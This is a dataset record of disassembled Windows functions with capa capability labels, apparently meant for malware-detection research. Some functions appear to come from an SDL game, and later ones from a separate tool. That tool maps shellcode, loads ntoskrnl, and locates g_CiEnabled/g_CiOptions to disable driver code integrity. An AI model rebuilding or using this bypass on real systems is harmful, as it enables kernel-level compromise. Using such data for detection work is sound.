joyce8/EMBER2024-capa huggingface dataset:
Function at 0x140064890
Capabilities:
Resolve function by parsing pe exports

Disassembly:
push rbx
sub rsp, 0x20
xor r8d, r8d
xor edx, edx
mov ecx, 0x73
call fcn.140056f30
mov rbx, qword [0x140121450]
movzx eax, word [rbx + 0x1a4]
test ax, ax
jle 0x1400648f8
add eax, 1
cmp ax, 4
mov word [rbx + 0x1a4], ax
jle 0x140064910
lea rcx, str.you_finish_your_detailed_search_of_the_area.
xor edx, edx
call fcn.14004a980
xor eax, eax
mov word [rbx + 0x1a4], ax
mov rbx, qword [0x140121580]
mov eax, 0xa0
movsx ecx, word [rbx + 0x15d8]
jmp 0x140064929
mov edx, 5
mov ecx, 1
mov word [rbx + 0x1da], dx
mov word [rbx + 0x1a4], cx
mov rbx, qword [0x140121580]
movsx eax, word [rbx + 0x15d8]
mov ecx, eax
sar eax, 0x1f
and eax, 0xffffffe2
add eax, 0x3c
add ecx, 0x1e
cmp ecx, eax
cmovl ecx, eax
movsx ecx, cx
call fcn.140004ce0
mov byte [rbx + 0xe], 1
add rsp, 0x20
pop rbx
jmp fcn.1400627d0

Function at 0x140064c70
Capabilities:
Encode data using xor

Disassembly:
cmp edx, ecx
jle 0x140064c80
jmp fcn.140064a00
mov eax, ecx
ret

Function at 0x140064d30
Capabilities:
Encode data using xor

Disassembly:
push rdi
push rsi
push rbx
sub rsp, 0x20
test rcx, rcx
mov r11, rcx
je 0x140064e18
mov rdx, r11
mov r8d, r11d
mov r10d, r11d
shr rdx, 0x20
mov r9d, r11d
mov ebx, 0x14
xor edx, r11d
mov eax, 0xf1ea5eed
mov ecx, edx
nop word [rax + rax]
mov edi, r9d
ror edi, 5
sub eax, edi
mov esi, eax
mov eax, ecx
ror eax, 0xf
xor eax, r9d
sub ebx, 1
lea r9d, [r10 + rcx]
lea ecx, [r10 + rsi]
lea r10d, [rsi + rax]
jne 0x140064d68
movd xmm1, ecx
movd xmm0, eax
movd xmm3, r9d
movd xmm2, r10d
punpckldq xmm0, xmm3
mov ecx, r8d
mov r9d, 0x14
punpckldq xmm1, xmm2
mov eax, 0xf1ea5eed
punpcklqdq xmm0, xmm1
movaps xmmword [0x1401d6ac0], xmm0
nop
mov ebx, r8d
ror ebx, 5
sub eax, ebx
mov r10d, eax
mov eax, edx
ror eax, 0xf
xor eax, r8d
sub r9d, 1
lea r8d, [rcx + rdx]
lea edx, [rcx + r10]
lea ecx, [r10 + rax]
jne 0x140064dc0
movd xmm1, edx
movd xmm4, ecx
movd xmm0, eax
movd xmm5, r8d
mov rax, r11
punpckldq xmm1, xmm4
punpckldq xmm0, xmm5
punpcklqdq xmm0, xmm1
movaps xmmword [0x1401d6ad0], xmm0
add rsp, 0x20
pop rbx
pop rsi
pop rdi
ret
xor ecx, ecx
call qword [sym.imp.api_ms_win_crt_time_l1_1_0.dll__time64]
lea r11, [rax - 0x50a09060]
jmp 0x140064d43
Function at 0x140069ae0
Capabilities:
Terminate process

Disassembly:
push rsi
push rbx
sub rsp, 0x38
mov ebx, ecx
call sub.SDL2.dll_SDL_GetError
mov ecx, 2
mov rsi, rax
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll___acrt_iob_func]
mov qword [rsp + 0x20], rsi
mov r9d, ebx
lea r8, str.src_platform_tiles.c
mov rcx, rax
lea rdx, str.Fatal_SDL_image_error___s:_d_:__s_n
call fcn.14006e0f0
mov ecx, 3
call sub.api_ms_win_crt_runtime_l1_1_0.dll_exit
nop
nop word cs:[rax + rax]
nop

Function at 0x140069b30
Capabilities:
Terminate process

Disassembly:
push rsi
push rbx
sub rsp, 0x38
mov ebx, ecx
call sub.SDL2.dll_SDL_GetError
mov ecx, 2
mov rsi, rax
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll___acrt_iob_func]
mov qword [rsp + 0x20], rsi
mov r9d, ebx
lea r8, str.src_platform_tiles.c
mov rcx, rax
lea rdx, str.Fatal_SDL_error___s:_d_:__s_n
call fcn.14006e0f0
mov ecx, 3
call sub.api_ms_win_crt_runtime_l1_1_0.dll_exit
nop
nop word cs:[rax + rax]
nop
Function at 0x14006b550
Capabilities:
Write file on windows

Disassembly:
push rsi
push rbx
sub rsp, 0x38
lea rax, [rsp + 0x58]
mov rbx, rcx
mov ecx, 2
mov qword [rsp + 0x58], rdx
mov qword [rsp + 0x60], r8
mov qword [rsp + 0x68], r9
mov qword [rsp + 0x28], rax
call sub.api_ms_win_crt_stdio_l1_1_0.dll___acrt_iob_func
mov r8d, 0x1b
mov edx, 1
lea rcx, str.Mingw_w64_runtime_failure:_n
mov r9, rax
call sub.api_ms_win_crt_stdio_l1_1_0.dll_fwrite
mov rsi, qword [rsp + 0x28]
mov ecx, 2
call sub.api_ms_win_crt_stdio_l1_1_0.dll___acrt_iob_func
mov rdx, rbx
mov rcx, rax
mov r8, rsi
call fcn.14006df70
call sub.api_ms_win_crt_runtime_l1_1_0.dll_abort
nop
nop dword [rax]

Function at 0x14006b5c0
Capabilities:
Allocate or change rwx memory

Disassembly:
push rdi
push rsi
push rbx
sub rsp, 0x50
movsxd rsi, dword [0x140209d64]
test esi, esi
mov rbx, rcx
jle 0x14006b6f0
mov rax, qword [0x140209d68]
xor r9d, r9d
add rax, 0x18
nop word [rax + rax]
mov r8, qword [rax]
cmp rbx, r8
jb 0x14006b60b
mov rdx, qword [rax + 8]
mov edx, dword [rdx + 8]
add r8, rdx
cmp rbx, r8
jb 0x14006b695
add r9d, 1
add rax, 0x28
cmp r9d, esi
jne 0x14006b5f0
mov rcx, rbx
call fcn.14006c010
test rax, rax
mov rdi, rax
je 0x14006b712
mov rax, qword [0x140209d68]
lea rbx, [rsi + rsi*4]
shl rbx, 3
add rax, rbx
mov qword [rax + 0x20], rdi
mov dword [rax], 0
call fcn.14006c150
mov edx, dword [rdi + 0xc]
mov r8d, 0x30
lea rcx, [rax + rdx]
mov rax, qword [0x140209d68]
lea rdx, [rsp + 0x20]
mov qword [rax + rbx + 0x18], rcx
call qword [sym.imp.KERNEL32.dll_VirtualQuery]
test rax, rax
je 0x14006b6f7
mov eax, dword [rsp + 0x44]
lea edx, [rax - 0x40]
and edx, 0xffffffbf
je 0x14006b68e
lea edx, [rax - 4]
and edx, 0xfffffffb
jne 0x14006b6a0
add dword [0x140209d64], 1
add rsp, 0x50
pop rbx
pop rsi
pop rdi
ret
cmp eax, 2
mov r8d, 0x40
mov eax, 4
mov rcx, qword [rsp + 0x20]
cmove r8d, eax
mov rdx, qword [rsp + 0x38]
add rbx, qword [0x140209d68]
mov r9, rbx
mov qword [rbx + 8], rcx
mov qword [rbx + 0x10], rdx
call qword [sym.imp.KERNEL32.dll_VirtualProtect]
test eax, eax
jne 0x14006b68e
call qword [sym.imp.KERNEL32.dll_GetLastError]
lea rcx, str.__VirtualProtect_failed_with_code_0x_x
mov edx, eax
call fcn.14006b550
nop dword [rax]
xor esi, esi
jmp 0x14006b618
mov rax, qword [0x140209d68]
lea rcx, str.__VirtualQuery_failed_for__d_bytes_at_address__p
mov edx, dword [rdi + 8]
mov r8, qword [rax + rbx + 0x18]
call fcn.14006b550
lea rcx, str.Address__p_has_no_image_section
mov rdx, rbx
call fcn.14006b550
nop
nop word cs:[rax + rax]
nop dword [rax]
Function at 0x14006bc80
Capabilities:
Get thread local storage value

Disassembly:
push r12
push rbp
push rdi
push rsi
push rbx
sub rsp, 0x20
lea r12, [0x140209dc0]
mov rcx, r12
call qword [sym.imp.KERNEL32.dll_EnterCriticalSection]
mov rbx, qword [0x140209da0]
test rbx, rbx
je 0x14006bcdc
mov rbp, qword [sym.imp.KERNEL32.dll_TlsGetValue]
mov rdi, qword [sym.imp.KERNEL32.dll_GetLastError]
nop dword [rax]
mov ecx, dword [rbx]
call rbp
mov rsi, rax
call rdi
test eax, eax
jne 0x14006bcd3
test rsi, rsi
je 0x14006bcd3
mov rax, qword [rbx + 8]
mov rcx, rsi
call rax
mov rbx, qword [rbx + 0x10]
test rbx, rbx
jne 0x14006bcb8
mov rcx, r12
add rsp, 0x20
pop rbx
pop rsi
pop rdi
pop rbp
pop r12
jmp qword [sym.imp.KERNEL32.dll_LeaveCriticalSection]

Function at 0x14006c010
Capabilities:
Enumerate pe sections
Parse pe header

Disassembly:
mov rdx, qword [0x140120ba0]
xor eax, eax
cmp word [rdx], 0x5a4d
jne 0x14006c030
movsxd r8, dword [rdx + 0x3c]
add r8, rdx
cmp dword [r8], 0x4550
je 0x14006c038
ret
cmp word [r8 + 0x18], 0x20b
jne 0x14006c030
movzx eax, word [r8 + 0x14]
sub rcx, rdx
lea rax, [r8 + rax + 0x18]
movzx r8d, word [r8 + 6]
test r8w, r8w
je 0x14006c08d
lea edx, [r8 - 1]
lea rdx, [rdx + rdx*4]
lea r9, [rax + rdx*8 + 0x28]
nop word cs:[rax + rax]
mov r8d, dword [rax + 0xc]
cmp rcx, r8
mov rdx, r8
jb 0x14006c084
add edx, dword [rax + 8]
cmp rcx, rdx
jb 0x14006c030
add rax, 0x28
cmp rax, r9
jne 0x14006c070
xor eax, eax
ret

Function at 0x14006c090
Capabilities:
Parse pe header

Disassembly:
mov rax, qword [0x140120ba0]
xor ecx, ecx
cmp word [rax], 0x5a4d
jne 0x14006c0af
movsxd rdx, dword [rax + 0x3c]
add rax, rdx
cmp dword [rax], 0x4550
je 0x14006c0b8
mov eax, ecx
ret
cmp word [rax + 0x18], 0x20b
jne 0x14006c0af
movzx ecx, word [rax + 6]
mov eax, ecx
ret

Function at 0x14006c150
Capabilities:
Parse pe header

Disassembly:
mov rax, qword [0x140120ba0]
xor edx, edx
cmp word [rax], 0x5a4d
jne 0x14006c16f
movsxd rcx, dword [rax + 0x3c]
add rcx, rax
cmp dword [rcx], 0x4550
je 0x14006c178
mov rax, rdx
ret
cmp word [rcx + 0x18], 0x20b
cmove rdx, rax
mov rax, rdx
ret
Function at 0x14006cba0
Capabilities:
Check if file exists
Get file attributes

Disassembly:
push rbp
push rdi
push rsi
push rbx
sub rsp, 0x138
mov rbx, rcx
call sub.api_ms_win_crt_runtime_l1_1_0.dll__errno
test rbx, rbx
mov dword [rax], 0
je 0x14006cce0
cmp byte [rbx], 0
je 0x14006cca8
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_GetFileAttributesA]
cmp eax, 0xffffffff
je 0x14006ccf0
test al, 0x10
je 0x14006cca8
lea rdi, [rsp + 0x20]
mov rdx, rbx
mov r8d, 0x104
mov rcx, rdi
call sub.api_ms_win_crt_filesystem_l1_1_0.dll__fullpath
mov rcx, rdi
call sub.api_ms_win_crt_string_l1_1_0.dll_strlen
lea rcx, [rax + 0x24b]
mov rsi, rax
call sub.api_ms_win_crt_heap_l1_1_0.dll_malloc
test rax, rax
mov rbx, rax
je 0x14006ccff
lea rbp, [rsi + 1]
mov rdx, rdi
lea rcx, [rax + 0x244]
mov r8, rbp
call sub.api_ms_win_crt_private_l1_1_0.dll_memcpy
cmp byte [rbx + 0x244], 0
mov rcx, rax
je 0x14006cc50
movzx eax, byte [rbx + rsi + 0x243]
cmp al, 0x5c
je 0x14006cc50
cmp al, 0x2f
jne 0x14006ccc8
lea rdx, [rbx + 0x130]
mov eax, 0x2a
mov word [rcx + rsi], ax
mov rdi, rdx
xor eax, eax
mov ecx, 0x20
mov qword [rbx + 0x238], 0xffffffffffffffff
mov dword [rbx + 0x240], 0
mov qword [rbx + 0x128], 0
rep stosq qword [rdi], rax
mov rax, rbx
mov dword [rdi], 0
add rsp, 0x138
pop rbx
pop rsi
pop rdi
pop rbp
ret
call sub.api_ms_win_crt_runtime_l1_1_0.dll__errno
xor ebx, ebx
mov dword [rax], 0x14
mov rax, rbx
add rsp, 0x138
pop rbx
pop rsi
pop rdi
pop rbp
ret
mov edx, 0x5c
mov word [rcx + rsi], dx
mov rsi, rbp
jmp 0x14006cc50
call sub.api_ms_win_crt_runtime_l1_1_0.dll__errno
xor ebx, ebx
mov dword [rax], 0xe
jmp 0x14006ccb5
call sub.api_ms_win_crt_runtime_l1_1_0.dll__errno
xor ebx, ebx
mov dword [rax], 2
jmp 0x14006ccb5
call sub.api_ms_win_crt_runtime_l1_1_0.dll__errno
xor ebx, ebx
mov dword [rax], 0xc
jmp 0x14006ccb5
Function at 0x140002028
Capabilities:
Encode data using xor
Encrypt data using aes
Reference aes constants

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rbp
mov qword [rsp + 0x18], rsi
push rdi
push r12
push r13
push r14
push r15
sub rsp, 0x20
mov rbp, rdx
mov r8, rdx
mov rdx, rcx
mov rbx, rcx
xor ecx, ecx
call fcn.140001fe0
mov sil, 1
lea rdi, [rbx + 2]
mov r12d, 4
lea r13, str.cw
mov rdx, rbx
mov r9, r12
mov rcx, rdx
mov r8, r12
movzx eax, byte [rcx]
mov al, byte [rax + r13]
mov byte [rcx], al
add rcx, r12
sub r8, 1
jne 0x140002077
inc rdx
sub r9, 1
jne 0x140002071
mov al, byte [rbx + 5]
mov r14, rdi
mov cl, byte [rbx + 1]
mov r15, r12
mov byte [rbx + 1], al
mov al, byte [rbx + 9]
mov byte [rbx + 5], al
mov al, byte [rbx + 0xd]
mov byte [rbx + 9], al
mov al, byte [rbx + 0xa]
mov byte [rbx + 0xd], cl
mov cl, byte [rdi]
mov byte [rdi], al
mov al, byte [rbx + 0xe]
mov byte [rbx + 0xa], cl
mov cl, byte [rbx + 6]
mov byte [rbx + 6], al
mov al, byte [rbx + 0xf]
mov byte [rbx + 0xe], cl
mov cl, byte [rbx + 3]
mov byte [rbx + 3], al
mov al, byte [rbx + 0xb]
mov byte [rbx + 0xf], al
mov al, byte [rbx + 7]
mov byte [rbx + 0xb], al
mov byte [rbx + 7], cl
mov r11b, byte [r14 - 2]
mov r8b, byte [r14 - 1]
mov dl, r11b
mov r9b, byte [r14 + 1]
xor dl, r8b
xor r9b, byte [r14]
mov al, dl
shr al, 7
add dl, dl
movzx eax, al
mov r10b, r9b
imul ecx, eax, 0x1b
xor r10b, r11b
xor r10b, r8b
xor cl, dl
mov dl, r8b
xor dl, byte [r14]
xor cl, r11b
xor r11b, byte [r14 + 1]
xor cl, r10b
mov byte [r14 - 2], cl
mov al, dl
shr al, 7
add dl, dl
movzx eax, al
imul ecx, eax, 0x1b
mov al, r9b
shr al, 7
add r9b, r9b
movzx eax, al
xor cl, dl
xor cl, r8b
xor cl, r10b
mov byte [r14 - 1], cl
imul ecx, eax, 0x1b
mov al, r11b
shr al, 7
add r11b, r11b
movzx eax, al
xor cl, r9b
xor cl, byte [r14]
xor cl, r10b
mov byte [r14], cl
imul ecx, eax, 0x1b
xor cl, r11b
xor cl, byte [r14 + 1]
xor cl, r10b
mov byte [r14 + 1], cl
add r14, r12
sub r15, 1
jne 0x1400020de
mov r8, rbp
mov rdx, rbx
mov cl, sil
call fcn.140001fe0
inc sil
cmp sil, 0xa
jb 0x14000206b
mov rdx, rbx
mov r8, r12
mov rcx, rdx
mov r9, r12
movzx eax, byte [rcx]
mov al, byte [rax + r13]
mov byte [rcx], al
add rcx, r12
sub r9, 1
jne 0x1400021a4
inc rdx
sub r8, 1
jne 0x14000219e
mov dl, byte [rbx + 6]
mov r8, rbp
mov al, byte [rbx + 5]
mov cl, byte [rbx + 1]
mov byte [rbx + 1], al
mov al, byte [rbx + 9]
mov byte [rbx + 5], al
mov al, byte [rbx + 0xd]
mov byte [rbx + 9], al
mov al, byte [rbx + 0xa]
mov byte [rbx + 0xd], cl
mov cl, byte [rdi]
mov byte [rdi], al
mov al, byte [rbx + 0xe]
mov byte [rbx + 6], al
mov al, byte [rbx + 0xf]
mov byte [rbx + 0xe], dl
mov dl, byte [rbx + 3]
mov byte [rbx + 3], al
mov al, byte [rbx + 0xb]
mov byte [rbx + 0xf], al
mov al, byte [rbx + 7]
mov byte [rbx + 7], dl
mov rdx, rbx
mov byte [rbx + 0xa], cl
mov cl, 0xa
mov byte [rbx + 0xb], al
mov rbx, qword [rsp + 0x50]
mov rbp, qword [rsp + 0x58]
mov rsi, qword [rsp + 0x60]
add rsp, 0x20
pop r15
pop r14
pop r13
pop r12
pop rdi
jmp fcn.140001fe0
Function at 0x140003018
Capabilities:
Extract resource via kernel32 functions

Disassembly:
mov qword [rsp + 8], rbx
mov dword [rsp + 0x20], r9d
push rbp
push rsi
push rdi
mov rbp, rsp
sub rsp, 0x50
xor edi, edi
mov rbx, r8
and qword [rbp + 0x30], rdi
mov rsi, rdx
mov rax, rcx
test r8, r8
je 0x140003043
and dword [r8], edi
xor ecx, ecx
and dword [rbp + 0x38], ecx
mov qword [rbp + 0x28], rcx
test rsi, rsi
je 0x140003099
and qword [rbp - 8], rcx
lea r8d, [rcx + 3]
mov rcx, rsi
mov qword [rbp - 0x18], 0xa
lea r9, [rbp - 0x20]
mov qword [rbp - 0x10], rax
lea rdx, [rbp - 0x18]
call qword [sym.imp.ntdll.dll_LdrFindResource_U]
test eax, eax
js 0x140003095
mov rdx, qword [rbp - 0x20]
lea r9, [rbp + 0x38]
lea r8, [rbp + 0x28]
mov rcx, rsi
call qword [sym.imp.ntdll.dll_LdrAccessResource]
test eax, eax
cmovns edi, dword [rbp + 0x38]
mov rcx, qword [rbp + 0x28]
test rcx, rcx
je 0x1400030c0
test edi, edi
je 0x1400030c0
mov al, byte [rbp + 0x40]
lea r8, [rbp + 0x30]
mov edx, edi
mov byte [rsp + 0x20], al
call fcn.1400030d0
test rbx, rbx
je 0x1400030c2
mov ecx, dword [rbp + 0x30]
mov dword [rbx], ecx
jmp 0x1400030c2
xor eax, eax
mov rbx, qword [rsp + 0x70]
add rsp, 0x50
pop rdi
pop rsi
pop rbp
ret
Function at 0x1400030d0
Capabilities:
Access peb ldr_data
Get kernel32 base address

Disassembly:
mov rax, rsp
mov qword [rax + 8], rbx
mov qword [rax + 0x10], rsi
mov dword [rax + 0x20], r9d
push rbp
push rdi
push r12
push r14
push r15
lea rbp, [rax - 0x57]
sub rsp, 0x90
mov r15, rcx
lea rdi, [rbp - 0x11]
xor eax, eax
xor ebx, ebx
and qword [r8], rbx
mov rsi, rdx
mov r12, r8
mov r8, rsi
lea edx, [rbx + 0x18]
mov ecx, edx
rep stosb byte [rdi], al
mov ecx, edx
lea rdi, [rbp - 0x31]
rep stosb byte [rdi], al
lea rdi, [rbp - 0x41]
lea ecx, [rbx + 0x10]
rep stosb byte [rdi], al
mov rax, qword gs:[0x30]
lea edx, [rbx + 8]
mov rcx, qword [rax + 0x60]
mov rcx, qword [rcx + 0x30]
call qword [sym.imp.ntdll.dll_RtlAllocateHeap]
mov r14, rax
test rax, rax
je 0x140003282
mov r8, rsi
mov rdx, r15
mov rcx, rax
call fcn.14002c130
lea r15d, [rbx + 1]
test esi, esi
je 0x140003173
mov eax, 0xf62e6ce0
mov edx, esi
mov rcx, r14
xor byte [rcx], al
add rcx, r15
rol eax, 1
add edx, 0xffffffff
jne 0x140003167
and dword [rbp - 0x21], ebx
lea r9, [rbp - 0x41]
movsd xmm1, qword [rbp - 0x21]
lea r8, [rbp + 0xf]
mov qword [rbp - 0x31], r14
lea rdx, [rbp - 0x31]
mov qword [rbp - 0x29], rsi
mov rcx, r15
movups xmm0, xmmword [rbp - 0x31]
movsd qword [rbp + 0x1f], xmm1
movsd xmm1, qword [rbp - 1]
movaps xmmword [rbp + 0xf], xmm0
movups xmm0, xmmword [rbp - 0x11]
movsd qword [rbp - 0x21], xmm1
movaps xmmword [rbp - 0x31], xmm0
call qword [sym.imp.msdelta.dll_ApplyDeltaB]
test eax, eax
je 0x140003252
mov rdi, qword [rbp - 0x39]
mov rsi, qword [rbp - 0x41]
cmp byte [rbp + 0x7f], bl
je 0x140003201
and dword [rbp + 0x6f], ebx
lea r9, [rbp + 0x77]
and dword [rbp + 0x77], ebx
lea r8, [rbp + 0x6f]
mov edx, edi
mov rcx, rsi
call fcn.140010688
test al, al
jne 0x14000320d
mov r9d, dword [rbp + 0x77]
lea rdx, [0x140039bd0]
mov r8d, dword [rbp + 0x6f]
mov ecx, r15d
call fcn.140011454
jmp 0x140003246
lea rcx, str.___Checksum_verification_skipped_r_n
call fcn.140002fc4
mov rax, qword gs:[0x30]
mov r8, rdi
mov edx, 8
mov rcx, qword [rax + 0x60]
mov rcx, qword [rcx + 0x30]
call qword [sym.imp.ntdll.dll_RtlAllocateHeap]
mov rbx, rax
test rax, rax
je 0x140003246
mov r8, rdi
mov rdx, rsi
mov rcx, rax
call fcn.14002c130
mov qword [r12], rdi
mov rcx, qword [rbp - 0x41]
call qword [sym.imp.msdelta.dll_DeltaFree]
jmp 0x140003266
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov edx, eax
lea rcx, str.____Error_while_decompressing_resource
call fcn.1400123a8
mov rax, qword gs:[0x30]
mov r8, r14
xor edx, edx
mov rcx, qword [rax + 0x60]
mov rcx, qword [rcx + 0x30]
call qword [sym.imp.ntdll.dll_RtlFreeHeap]
lea r11, [rsp + 0x90]
mov rax, rbx
mov rbx, qword [r11 + 0x30]
mov rsi, qword [r11 + 0x38]
mov rsp, r11
pop r15
pop r14
pop r12
pop rdi
pop rbp
ret
Function at 0x140003340
Capabilities:
Map section object

Disassembly:
push rbx
sub rsp, 0x50
and qword [rsp + 0x60], 0
mov r10, rdx
mov r8d, dword [rcx + 8]
mov rbx, rcx
sub r8d, 1
je 0x140003360
sub r8d, 1
mov dword [rsp + 0x48], 4
lea r8, [rsp + 0x60]
and dword [rsp + 0x40], 0
mov eax, 0x1000
mov dword [rsp + 0x38], 2
mov ecx, eax
lea rcx, [rsp + 0x70]
mov qword [rsp + 0x70], rax
mov qword [rsp + 0x30], rcx
xor r9d, r9d
and qword [rsp + 0x28], 0
mov rcx, r10
or rdx, 0xffffffffffffffff
mov qword [rsp + 0x20], rax
call qword [sym.imp.ntdll.dll_NtMapViewOfSection]
test eax, eax
js 0x140003403
mov ecx, dword [rbx + 8]
sub ecx, 1
je 0x1400033d8
cmp ecx, 1
jne 0x1400033d8
mov r8, qword [rsp + 0x60]
lea rdx, str.___Shellcode_result__system_worker:_0x_p_r_n
mov ecx, 2
mov r8, qword [r8 + 0x10]
call fcn.140011454
jmp 0x1400033f2
mov r8, qword [rsp + 0x60]
lea rdx, str.___Shellcode_result:_NTSTATUS__0x_lX__r_n
mov ecx, 2
mov r8d, dword [r8 + 8]
call fcn.140011454
mov rdx, qword [rsp + 0x60]
or rcx, 0xffffffffffffffff
call qword [sym.imp.ntdll.dll_NtUnmapViewOfSection]
jmp 0x140003417
mov r8d, eax
lea rdx, str.____Cannot_map_shellcode_section__NTSTATUS___lX__r_n
mov ecx, 1
call fcn.140011454
add rsp, 0x50
pop rbx
ret
Function at 0x140003aa0
Capabilities:
Get windows directory from kuser_shared_data

Disassembly:
push rbp
push rbx
push rsi
push rdi
push r12
push r14
push r15
lea rbp, [rsp - 0x370]
sub rsp, 0x470
mov rsi, qword [rcx + 0x18]
xor r12d, r12d
mov dword [rbp + 0x3b0], r12d
mov r14, r8
mov qword [rsp + 0x40], r12
mov r15, rdx
mov qword [rbp + 0x3c8], r12
mov rdi, rcx
mov qword [rbp + 0x3c0], r12
mov ebx, r12d
mov qword [r8], r12
test rsi, rsi
jne 0x140003b05
lea rdx, str.____Cannot_query_ntoskrnl_loaded_base__abort_r_n
mov ecx, 1
call fcn.140011454
jmp 0x140003c6a
mov rdx, rsi
lea rcx, str.___Loaded_ntoskrnl_base_0x_llX_r_n
call fcn.140002fc4
mov ecx, 0x7ffe0030
lea rax, [rsp + 0x60]
cmp rax, rcx
je 0x140003b4c
movzx edx, word [rcx]
lea rax, [rsp + 0x60]
test dx, dx
je 0x140003b48
lea r8, [rsp + 0x60]
sub rcx, r8
mov word [rax], dx
add rax, 2
movzx edx, word [rcx + rax]
test dx, dx
jne 0x140003b38
mov word [rax], r12w
lea rdx, str._system32_ntoskrnl.exe
lea rcx, [rsp + 0x60]
call fcn.1400013e8
lea rdx, [rsp + 0x60]
lea rcx, [rsp + 0x48]
call qword [sym.imp.ntdll.dll_RtlInitUnicodeString]
lea r9, [rbp + 0x3c0]
xor edx, edx
lea r8, [rsp + 0x48]
xor ecx, ecx
call qword [sym.imp.ntdll.dll_LdrLoadDll]
test eax, eax
js 0x140003c5c
mov rdx, qword [rbp + 0x3c0]
test rdx, rdx
je 0x140003c5c
lea rcx, str.___Ntoskrnl.exe_mapped_at_0x_llX_r_n
call fcn.140002fc4
mov rax, qword [rbp + 0x3c0]
lea r8, [rsp + 0x40]
mov qword [rsp + 0x28], rsi
lea rdx, [rbp + 0x3c8]
mov r9, r15
mov qword [rdi + 0x20], rax
mov rcx, rdi
mov qword [rsp + 0x20], rax
call fcn.140003420
test eax, eax
jne 0x140003be3
lea rdx, str.____Error_while_mapping_payload__abort_r_n
jmp 0x140003af6
mov rdx, qword [rbp + 0x3c8]
lea rax, [rbp + 0x3b0]
mov r9, qword [rbp + 0x3c0]
mov r8, qword [rsp + 0x40]
mov ecx, dword [rdi + 8]
mov qword [rsp + 0x30], rax
mov eax, dword [rdi + 0xc]
mov dword [rsp + 0x28], eax
mov qword [rsp + 0x20], rsi
mov qword [r14], rdx
call fcn.14000fc44
mov rbx, rax
test rax, rax
je 0x140003c6a
mov edx, dword [rbp + 0x3b0]
test edx, edx
jne 0x140003c4e
lea rdx, str.____Unexpected_shellcode_procedure_size__abort_r_n
mov ecx, 1
call fcn.140011454
mov edx, 0x800
mov rcx, rbx
call fcn.14000fee4
mov rbx, r12
jmp 0x140003c6a
lea rcx, str.___Bootstrap_code_size__0x_lX_r_n
call fcn.140002fc4
jmp 0x140003c6a
mov edx, eax
lea rcx, str.____Error_while_loading_ntoskrnl.exe
call fcn.1400122dc
mov rax, rbx
add rsp, 0x470
pop r15
pop r14
pop r12
pop rdi
pop rsi
pop rbx
pop rbp
ret
Function at 0x140004540
Capabilities:
Disable driver code integrity
Get common file path

Disassembly:
mov rax, rsp
mov qword [rax + 8], rbx
mov qword [rax + 0x18], rbp
push rsi
push rdi
push r14
sub rsp, 0x430
xor ebx, ebx
lea r14, str.g_CiEnabled
mov qword [rax + 0x10], rbx
lea rsi, str.ntoskrnl.exe
mov edx, 0x23f0
lea rax, str.g_CiOptions
cmp ecx, edx
cmovae r14, rax
lea rax, str.CI.dll
cmovae rsi, rax
call fcn.140013940
test eax, eax
je 0x1400046b7
mov edx, 0x104
mov word [rsp + 0x20], bx
lea rcx, [rsp + 0x20]
call qword [sym.imp.KERNEL32.dll_GetSystemDirectoryW]
test eax, eax
je 0x1400046b7
lea rax, [rsp + 0x20]
cmp word [rsp + 0x20], bx
je 0x1400045c6
add rax, 2
cmp word [rax], bx
jne 0x1400045bd
lea rdx, [0x14003a61c]
mov ecx, 0x5c
sub rdx, rax
mov word [rax], cx
lea rax, [rax + 2]
movzx ecx, word [rdx + rax]
test cx, cx
jne 0x1400045d5
mov rdx, rsi
mov word [rax], bx
lea rcx, [rsp + 0x20]
call fcn.1400013e8
xor edx, edx
lea rcx, [rsp + 0x20]
lea r8d, [rdx + 1]
call qword [sym.imp.KERNEL32.dll_LoadLibraryExW]
mov rdi, rax
test rax, rax
je 0x140004695
mov rdx, rsi
lea rcx, str.___Module___ws__loaded_for_symbols_lookup_r_n
call fcn.140002fc4
call fcn.140010e80
mov rdx, rdi
mov rcx, rsi
mov rbp, rax
call fcn.1400137ec
test eax, eax
je 0x140004679
lea rdx, [rsp + 0x458]
mov rcx, r14
call fcn.140013870
test eax, eax
je 0x140004670
mov rbx, rbp
lea rdx, str.___Symbol_resolved_to_0x_llX_address_r_n
sub rbx, rdi
mov ecx, 2
add rbx, qword [rsp + 0x458]
mov r8, rbx
call fcn.140011454
jmp 0x14000468a
lea rdx, str.____Unable_to_find_specified_symbol_r_n
jmp 0x140004680
lea rdx, str.____Unable_to_load_symbols_for_file_r_n
mov ecx, 1
call fcn.140011454
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_FreeLibrary]
jmp 0x1400046b2
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov r8, rsi
lea rdx, str.____Could_not_load___ws___GetLastError__lu_r_n
mov r9d, eax
mov ecx, 1
call fcn.140011454
mov rax, rbx
jmp 0x1400046b9
xor eax, eax
lea r11, [rsp + 0x430]
mov rbx, qword [r11 + 0x20]
mov rbp, qword [r11 + 0x30]
mov rsp, r11
pop r14
pop rdi
pop rsi
ret
Function at 0x140007440
Capabilities:
Read file on windows
Write file on windows

Disassembly:
mov rax, rsp
mov qword [rax + 8], rbx
mov qword [rax + 0x10], rsi
push rdi
sub rsp, 0x50
and qword [rax - 0x28], 0
mov edi, r9d
and dword [rax + 0x20], 0
mov rsi, r8
mov dword [rax - 0x10], r9d
mov r9d, 0x10
mov dword [rax - 0x30], r9d
lea r8, [rsp + 0x40]
mov qword [rax - 0x18], rdx
lea rax, [rax - 0x18]
mov edx, 0x22e400
mov qword [rsp + 0x20], rax
mov rbx, rcx
call fcn.14000ff1c
test eax, eax
jns 0x1400074a4
mov ecx, eax
call qword [sym.imp.ntdll.dll_RtlNtStatusToDosError]
mov ecx, eax
call qword [sym.imp.KERNEL32.dll_SetLastError]
xor eax, eax
jmp 0x1400074e1
xor r9d, r9d
xor r8d, r8d
xor edx, edx
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_SetFilePointer]
and qword [rsp + 0x20], 0
lea r9, [rsp + 0x78]
cmp dword [rsp + 0x80], 0
mov r8d, edi
mov rdx, rsi
mov rcx, rbx
je 0x1400074db
call qword [sym.imp.KERNEL32.dll_WriteFile]
jmp 0x1400074e1
call qword [sym.imp.KERNEL32.dll_ReadFile]
mov rbx, qword [rsp + 0x60]
mov rsi, qword [rsp + 0x68]
add rsp, 0x50
pop rdi
ret

Function at 0x14000b154
Capabilities:
